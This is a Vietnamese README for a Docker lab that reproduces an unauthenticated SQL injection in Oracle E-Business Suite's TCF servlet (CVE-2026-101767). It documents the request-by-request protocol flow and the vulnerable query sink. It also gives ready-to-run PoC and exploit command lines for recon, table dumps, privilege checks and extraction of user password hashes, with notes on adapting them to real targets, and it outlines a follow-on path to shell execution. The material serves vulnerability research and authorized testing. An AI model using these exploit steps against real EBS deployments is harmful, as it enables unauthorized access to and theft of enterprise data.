# TCF Lab — CVE-2026-101767 / H3-2026-0062 Lab tái tạo **Oracle E-Business Suite 12.2.15 — TCF (Thin Client Framework)** để nghiên cứu và viết PoC cho lỗ hổng SQL injection trong `AppsTCFServer` (Horizon3: *Oracle E-Business Suite TCF SQL Injection and Remote Code Execution*, CVSS 9.8, CWE-306 / CWE-89 / CWE-22). Điểm khác biệt so với các "mini harness" thông thường: lab này chạy **bytecode gốc lấy từ app tier của EBS** (`SocketServer`, `Connection`, `Dispatcher`, `SecurityManager`, `GanttDataServer`, `DataRetrieval`, `QueryInfo`, `Item`…), trong **Tomcat 9 + JDK 8** và **Oracle XE 21c**, nên PoC viết trên lab dùng đúng wire format, đúng command ID và đúng luồng xử lý của target thật. --- ## 1. Quick start ```bash docker compose up -d --build # lần đầu: 3–5 phút (Oracle XE khởi tạo) docker compose logs -f tcf-app # xem quyết định authorization của TCF curl -s localhost:8010/__lab/status ``` Kỳ vọng: ```json { "lab": "CVE-2026-101767 TCF", "database": "up", "whitelist_rows": 3, "whitelist_allows_gantt": true } ``` Chạy PoC có sẵn: ```bash python3 poc/tcf_poc.py -t http://localhost:8010 \ -s "SELECT user_id,'U',user_name,encrypted_foundation_password FROM fnd_user" ``` ```text [+] 5 resource row(s): 0 U SYSADMIN ZG5C0F1B0D3E7A9C42B8E6D1F0A3C5E7 ... ``` Kiểm tra nhanh toàn bộ đường đi (handshake + proxy, chưa gửi SQL): ```bash python3 poc/tcf_poc.py -t http://localhost:8010 --check ``` Lỗi SQL được trả về nguyên văn (error-based injection): ```bash python3 poc/tcf_poc.py -t http://localhost:8010 -s "SELECT 1 FROM no_such_table" # [-] no rows. Server response: # ORA-00942: table or view does not exist ``` --- ## 2. Lab có gì là "thật"? | Thành phần | Target thật (EBS 12.2.15) | Lab | Ghi chú | |---|---|---|---| | Servlet entry | `/OA_HTML/AppsTCFServer` → `oracle.apps.fnd.tcf.SocketServer` | **y hệt**, cùng class bytecode | `web.xml` map giống bản dump | | Xử lý `TCFStart` / `TCFSession` | `SocketServer.doPost` | **bytecode gốc** | kể cả session timeout, `close`, lỗi `X:` | | `HttpSession` | WebLogic | Tomcat 9 | cùng semantics `JSESSIONID` | | Handshake | `TCF/SPv1.1` → `TCF/SPv1.1.` | bytecode gốc | BigUTF 4-byte length | | Item / ProxyID | `Item`, `ProxyID` | bytecode gốc | `T00:V:,` | | Proxy lifecycle | `Dispatcher` / `ServerDispatcher` | bytecode gốc | ID do client chọn (client gốc: `1, 2…`) | | Whitelist | `SecurityManager` + `fnd_form_functions` | bytecode gốc + bảng seed | SELECT thật, đúng cột | | Function security | `FunctionSecurity.testFunction` | stub (DB `harness_function_grants`) | bật `TCF_FUNCSEC=strict` để test deny | | SQL sink | `DataRetrieval.executeQuery` → `prepareStatement` | **bytecode gốc** | đây là lỗ hổng | | Gantt commands | `GanttDataServer.readSynch` | **bytecode gốc** | cmd 18/19/12/32… | | DB | Oracle 19c, schema APPS | Oracle XE 21c, user `apps` | cùng dialect, cùng tên bảng | | App server | WebLogic 12c + JDK 8 | Tomcat 9 + JDK 8 | chỉ khác tầng container | ### Phần là stub (và vì sao không ảnh hưởng PoC) Các class runtime của EBS mà bản dump không có được thay bằng stub *cùng API*: `AppsContext`, `WebAppsContext`, `AppsLog`, `ProfileStore`/`EnvironmentStore`/ `ResourceStore` (interface), `OracleDateFormat`, `OracleTimezone`, `FunctionSecurity`, `Message`, `SessionManager`, `SSOUtil`, `HTMLUtil`, `GenericFileManager`, `FndConstant`, `Persistable*`. Stub **không** thay đổi đường đi của lỗ hổng: dữ liệu vẫn đi qua `SecurityManager` → `DefaultProxyFactory` → `GanttDataServer` → `QueryInfo` → `DataRetrieval` (tất cả là bytecode thật). ### Khác biệt có thể ảnh hưởng khi chuyển sang target thật 1. **Điều kiện session**: advisory khẳng định **không cần authentication** (CVSS `PR:N`, CWE-306) — tương ứng mode mặc định `TCF_AUTH_MODE=guest` (không cookie vẫn tạo được context GUEST). Nếu target của bạn lại yêu cầu ICX cookie hợp lệ (ví dụ đã bật URL firewall/session policy khác), dùng `TCF_AUTH_MODE=strict` để tái hiện và thêm `--cookie` cho PoC. 2. **Function security**: proxy chỉ được tạo nếu class nằm trong whitelist **và** `testFunction()` trả true. Lab mặc định `permissive` (giống user có responsibility chứa hàm Gantt). Nếu target trả `TCF Authorization failure`, thử `TCF_FUNCSEC=strict` để tái hiện điều kiện deny. 3. **Phiên bản Oracle** khác nhau → nội dung `ORA-xxxxx` có thể khác. 4. **OHS / URL firewall** phía trước có thể chặn header lạ; PoC dùng đúng `TCFStart`/`TCFSession`/`Content-Type: application/octet-stream`. 5. Tên cookie session của WebLogic cũng là `JSESSIONID`; PoC dùng `requests.Session` nên tự giữ cookie. --- ## 3. Luồng khai thác (đã verify) ```text POST /OA_HTML/AppsTCFServer Header: TCFStart: ← tạo HttpSession + Connection Body : BigUTF("TCF/SPv1.1") Reply : BigUTF("TCF/SPv1.1.") + Set-Cookie JSESSIONID POST (TCFSession: + JSESSIONID) Body : BigUTF("A:[0;n]{ T00:V1:+, T00:V44:oracle.apps.jtf.gantt.server.GanttDataServer, T01:V1:1, T00:V0:, }") → Dispatcher.createProxy → SecurityManager.validateClassAccess → DefaultProxyFactory.newProxy → new GanttDataServer() POST (TCFSession: ) Body : BigUTF("S:[1;n]{ ... }") Commands trong cùng một Item, kết thúc bằng 32: 27 CONFIG_DATA (bắt buộc: khởi tạo GanttMessages/date format) 18 SET_RESOURCE_QUERY (int nTokens, nTokens * SQL fragment, int nCols, nCols * datatype, bool showShifts) 19 SET_TASK_QUERY (đúng 13 string) 20/21/22 (bind vars + relations, gửi count = 0) 12 REFRESH_GANTT (executeQuery → prepareStatement → executeQuery) 32 END ``` `QueryInfo.setResourceQuery(Item)` **không** kiểm tra gì: client gửi `nTokens` fragment SQL tuỳ ý, server nối lại và đưa thẳng vào `DataRetrieval.executeQuery()`: ```java psResourcePstmt = (OraclePreparedStatement) conn.prepareStatement(qi.getResourceQueryString()); psResourcePstmt.executeQuery(); ``` Chi tiết byte-level: xem [`docs/PROTOCOL.md`](docs/PROTOCOL.md). --- ## 4. PoC `poc/tcf_poc.py` — client thuần Python (chỉ cần `requests`), implement đúng protocol ở trên. ```bash # đọc bảng python3 poc/tcf_poc.py -t http://localhost:8010 \ -s "SELECT user_id,'U',user_name,encrypted_foundation_password FROM fnd_user" # lấy thêm các batch tiếp theo (GET_NEXT_RESOURCE = 1) python3 poc/tcf_poc.py -t http://localhost:8010 --all \ -s "SELECT user_id,'U',user_name,'x' FROM fnd_user" # error-based python3 poc/tcf_poc.py -t http://localhost:8010 -s "SELECT 1 FROM no_such_table" # recon đúng 3 query mà Horizon3 liệt kê là IoC python3 poc/tcf_poc.py -t http://localhost:8010 --recon # target cần cookie python3 poc/tcf_poc.py -t https://host:8010 --cookie "ERPSEC=..." --check # in toàn bộ response thô python3 poc/tcf_poc.py -t http://localhost:8010 -s "..." --raw -v ``` ### Gửi từng command để xem server parse ```bash python3 poc/tcf_steps.py -t http://localhost:8010 --mode full python3 poc/tcf_steps.py -t http://localhost:8010 --mode no-config # bỏ 27 python3 poc/tcf_steps.py -t http://localhost:8010 --mode no-binds # bỏ 20/21/22 ``` Giải thích đầy đủ: [`docs/COMMAND_PARSING.md`](docs/COMMAND_PARSING.md). ### Exploit đầy đủ (`poc/exploit.py`) ```bash python3 poc/exploit.py -t http://localhost:8010 info python3 poc/exploit.py -t http://localhost:8010 recon # 3 query IoC của H3 python3 poc/exploit.py -t http://localhost:8010 fingerprint # so build server với 12.2.15 python3 poc/exploit.py -t http://localhost:8010 privs python3 poc/exploit.py -t http://localhost:8010 tables --like '%USER%' python3 poc/exploit.py -t http://localhost:8010 columns FND_USER python3 poc/exploit.py -t http://localhost:8010 dump FND_USER --limit 3 python3 poc/exploit.py -t http://localhost:8010 hashes python3 poc/exploit.py -t http://localhost:8010 sql "SELECT ..." ``` Output demo (chạy thật trên lab): [`docs/demo-output.txt`](docs/demo-output.txt). Phân tích độ tương đương lab ↔ target: [`docs/LAB_VS_TARGET.md`](docs/LAB_VS_TARGET.md). Thư viện có thể import lại: ```python from tcf_poc import TCFClient, parse_resources c = TCFClient("http://localhost:8010").connect() body = c.execute("SELECT user_id,'U',user_name,'x' FROM fnd_user") print(parse_resources(body)) ``` ### Chạy bằng client gốc của Oracle (kiểm chứng wire format) `tools/TcfRealClient.java` dùng chính `fndtcf.jar` (ClientDispatcher / URLServerConnection) của EBS, không dùng code Python: ```bash javac -cp "lib/fndtcf.jar:build/classes:lib/servlet-api.jar:lib/ojdbc8.jar" \ -d tools tools/TcfRealClient.java java -cp "tools:lib/fndtcf.jar:build/classes:lib/servlet-api.jar:lib/ojdbc8.jar" \ TcfRealClient --url http://localhost:8010/OA_HTML/ \ --sql "SELECT user_name FROM fnd_user" \ --cookie "ERPSEC=..." ``` Mặc định client bọc SQL bằng `DBMS_XMLGEN.GETXML(...)` nên query trả bao nhiêu cột cũng được (không còn lỗi `Invalid column index`); `--raw` để gửi SQL nguyên bản khi nó đã trả đúng 4 cột. Chi tiết: [`docs/JAVA_CLIENT.md`](docs/JAVA_CLIENT.md). > Lưu ý: client gốc cần `CookieHandler` (JInitiator trong applet) để giữ > `JSESSIONID`; nếu không request thứ hai sẽ bị > `Session ... must have timed out`. PoC Python dùng `requests.Session` nên > không gặp lỗi này. --- ## 5. Auth mode (mô phỏng điều kiện target) Đặt trong `docker-compose.yml` → `tcf-app.environment`, sau đó `docker compose up -d tcf-app`. | `TCF_AUTH_MODE` | Hành vi | Dùng khi | |---|---|---| | `guest` *(default)* | không cookie → map sang user `GUEST` | giả thuyết "unauthenticated": target phát guest ICX session | | `strict` | cookie phải có row trong `icx_sessions` | target bắt buộc session hợp lệ | | `none` | bỏ qua validateSession | chỉ test protocol | Cookie seed sẵn cho mode `strict`: ```text ERPSEC=LABSESSION0000000000000001 → SYSADMIN ERPSEC=LABSESSION0000000000000002 → OPERATIONS ``` ```bash TCF_AUTH_MODE=strict docker compose up -d tcf-app python3 poc/tcf_poc.py -t http://localhost:8010 --check # [-] TCF Session start attempted without authentication information. python3 poc/tcf_poc.py -t http://localhost:8010 --check \ --cookie "ERPSEC=LABSESSION0000000000000001" # [*] create proxy ... R: ``` `TCF_FUNCSEC=strict` bật kiểm tra grant (`harness_function_grants`) — dùng để tái hiện trường hợp proxy creation bị từ chối: ```bash TCF_FUNCSEC=strict docker compose up -d tcf-app # GUEST không có grant → "TCF Authorization failure" ``` --- ## 6. Debug ```bash docker compose logs -f tcf-app # AFLOG: authorization + TCF traffic curl localhost:8010/__lab/status # DB, whitelist, số session docker compose exec oracle-db bash # sqlplus apps/apps123@//localhost:1521/XEPDB1 ``` VS Code: xem hướng dẫn đầy đủ [`docs/DEBUG_VSCODE.md`](docs/DEBUG_VSCODE.md) (`debug-src/` đã canh line number theo class gốc, nên breakpoint theo dòng dừng đúng method; sinh lại bằng `python3 tools/align_sources.py`). Attach vào `127.0.0.1:5005` (JDWP đã bật trong `Dockerfile.app`, chỉ publish ra loopback). `./run.sh debug` để dừng VM lúc khởi động và bắt `SecurityManager`. Bật log chi tiết hơn: ```bash TCF_LOG_LEVEL=4 docker compose up -d tcf-app # 1=statement … 5=error ``` --- ## 7. Cấu trúc ```text tcf-harness-real/ ├── docker-compose.yml ├── docker/ │ ├── Dockerfile.db Oracle XE 21c + schema bootstrap │ ├── Dockerfile.app multi-stage build → Tomcat 9/JDK 8 │ ├── init_db.sh chạy SQL với user APPS trong XEPDB1 │ └── sql/01_schema.sql, 02_seed.sql ├── webapp/WEB-INF/web.xml mapping /OA_HTML/AppsTCFServer ├── real-classes/ BYTECODE GỐC EBS 12.2.15 (tcf + jtf) ├── src/ stub runtime (AppsContext, FunctionSecurity…) ├── debug-src/ source canh line number cho debugger ├── lib/ ojdbc8.jar, servlet-api.jar, fndtcf.jar ├── tools/TcfRealClient.java client gốc Oracle để kiểm chứng ├── poc/tcf_poc.py protocol client + PoC tối giản ├── poc/exploit.py exploit đầy đủ (recon/dump/privs) ├── poc/tcf_steps.py gửi từng command, xem parse/response ├── docs/PROTOCOL.md đặc tả wire format ├── docs/COMMAND_PARSING.md parse command + thí nghiệm tối thiểu ├── docs/EXPLOIT_FLOW.md flow end-to-end từng bước (số liệu thật) ├── docs/COMMANDS.md ý nghĩa từng command + queryStatus bits ├── docs/RESPONSE_FORMAT.md format response + cách parse dữ liệu SQL ├── docs/JAVA_IN_DB.md bật OJVM (image full) + grant cho APPS ├── docs/JAVA_CLIENT.md Java client: --sql/--cookie + auto-shape cột ├── docs/LAB_VS_TARGET.md phân tích lab ↔ target + checklist ├── docs/DEBUG_VSCODE.md attach JDWP + breakpoint (kể cả class EBS) ├── docs/demo-output.txt output exploit thật trên lab └── build.sh ``` Build lại webapp không cần Docker: ```bash ./build.sh # → dist/webapp (Tomcat webapps/ROOT) ``` --- ## 8. Troubleshooting | Triệu chứng | Nguyên nhân / cách xử lý | |---|---| | `ORA-00942` khi gọi `/__lab/status` | volume DB cũ chưa có schema: `./run.sh reset` | | `whitelist_rows: 0` | init script chưa chạy (volume cũ) — reset volume | | `TCF Session start attempted without authentication information` | `TCF_AUTH_MODE=strict` và thiếu cookie hợp lệ | | `TCF Session Authorization failure` | whitelist OK nhưng `testFunction` false → `TCF_FUNCSEC=permissive` hoặc seed grant | | `Session ... must have timed out - aborting` | không gửi `JSESSIONID` ở request thứ hai | | `NoClassDefFoundError` / `NoSuchMethodError` | stub thiếu method — chạy `TCF_LOG_LEVEL=4`, xem stack, bổ sung vào `src/` | | `DB pool exhausted` | PoC cũ không gọi `close` → session giữ connection; restart `tcf-app` hoặc dùng bản `exploit.py` mới (tự đóng phiên) | | Oracle XE chậm / crash trên Apple Silicon | image amd64 chạy emulation; tăng RAM Docker Desktop ≥ 6 GB | --- ## 9. Đối chiếu với advisory Horizon3 (CVE-2026-101767 / H3-2026-0062) Nguồn: [Horizon3 attack research](https://horizon3.ai/attack-research/vulnerabilities/cve-2026-101767/), [KB H3-2026-0062](https://docs.horizon3ai.com/knowledge_base/weaknesses/H3-2026-0062/), [Oracle CPU Oct 2026](https://www.oracle.com/security-alerts/cpuoct2026.html). | Advisory nói | Lab | |---|---| | Endpoint `/OA_HTML/AppsTCFServer`, class `oracle.apps.fnd.tcf.SocketServer` | **đúng**, bytecode gốc + đúng mapping | | `POST` không auth, không tương tác, instantiate `oracle.apps.jtf.gantt.server.GanttDataServer` | **đúng**, mode mặc định `guest` (không cần cookie) | | Chạy SQL dưới quyền `APPS` | **đúng**, `prepareStatement` trên connection `apps` | | Ảnh hưởng 12.2.3 – 12.2.15 | lab dùng class build 12.2.15 | | IoC: recon DB (version, current user, directory objects) | `poc/tcf_poc.py --recon` | | IoC: file lạ trong `$APPLPTMP` | có directory object `APPLPTMP` (`/opt/oracle/applptmp`) grant cho `apps` | | IoC: `oracle` spawn `/bin/sh` qua Concurrent Manager | **chưa mô phỏng** — cần thêm `FND_CONCURRENT_*` + CM worker | Phần SQLi (đoạn đầu của chain) được mô phỏng đầy đủ. Đoạn RCE (`APPS → file trong $APPLPTMP → Concurrent Manager → /bin/sh`) là giai đoạn post-exploitation riêng: lab đã có directory `APPLPTMP` và quyền `UTL_FILE` để thử ghi file, nhưng **chưa** giả lập Concurrent Manager. Nếu cần, có thể thêm service `tcf-cm` đọc `FND_CONCURRENT_REQUESTS` và chạy job như app account. Lưu ý: H3 xếp thêm CWE-22; trong bản 12.2.15 đã dump, `GanttDataServer` chỉ có `new File(dbcPath).exists()` (không đọc/ghi), nên phần path traversal của chain nhiều khả năng nằm ở package/API EBS dùng cho post-exploitation chứ không nằm trong các class TCF/Gantt ở đây. --- ## 10. Miễn trừ Lab này phục vụ **kiểm thử được uỷ quyền** và nghiên cứu phòng thủ. Chỉ chạy PoC với hệ thống bạn có văn bản cho phép. Các bảng `fnd_user`, `fnd_appl_secrets`, `ap_bank_accounts` trong lab là dữ liệu giả.